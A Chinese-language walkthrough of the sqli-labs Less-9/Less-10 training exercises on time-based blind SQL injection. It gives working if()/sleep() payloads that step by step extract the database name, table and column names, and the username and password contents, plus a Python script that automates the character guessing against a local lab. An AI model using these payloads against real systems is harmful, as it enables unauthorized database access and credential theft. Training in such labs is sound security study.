Lass9

无论对错，回显都一样。此时基于布尔盲注的方法已经不适用，故采用基于时间的盲注

布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时

间注入，时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

if(a,sleep(10),1)如果a结果是真的，那么执行sleep(10)页面延迟10秒，如果a的结果是假，执行1，页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

python脚本

import requests

import time

# 将url 替换成你的靶场关卡网址

# 修改两个对应的payload

# 目标网址（不带参数）

url = "http://127.0.0.1/sqli-labs-master/Less-9/"

# 猜解长度使用的payload

payload_len = """?id=1' and if(

(length(

        (database())

    ) ={n})

,sleep(5),3) -- a"""

# 枚举字符使用的payload

payload_str = """?id=1' and if(

(ascii(

substr(

(database())

,{n},1)

) ={r})

, sleep(5), 3) -- a"""

# 获取长度

def getLength(url, payload):

    length = 1  # 初始测试长度为1

    while True:

        start_time = time.time()

        response = requests.get(url= url+payload_len.format(n= length))

        # 页面响应时间 = 结束执行的时间 - 开始执行的时间

        use_time = time.time() - start_time

        # 响应时间>5秒时，表示猜解成功

        if use_time > 5:

            print('测试长度完成，长度为：', length,)

            return length;

        else:

            print('正在测试长度：',length)

            length += 1  # 测试长度递增

# 获取字符

def getStr(url, payload, length):

    str = ''  # 初始表名/库名为空

    # 第一层循环，截取每一个字符

    for l in range(1, length+1):

        # 第二层循环，枚举截取字符的每一种可能性

        for n in range(33, 126):

            start_time = time.time()

            response = requests.get(url= url+payload_str.format(n= l, r= n))

            # 页面响应时间 = 结束执行的时间 - 开始执行的时间

            use_time = time.time() - start_time

            # 页面中出现此内容则表示成功

            if use_time > 5:

                str+= chr(n)

                print('第', l, '个字符猜解成功：', str)

                break;

    return str;

# 开始猜解

length = getLength(url, payload_len)

getStr(url, payload_str, length)

Lass10和lass9一样，‘换成“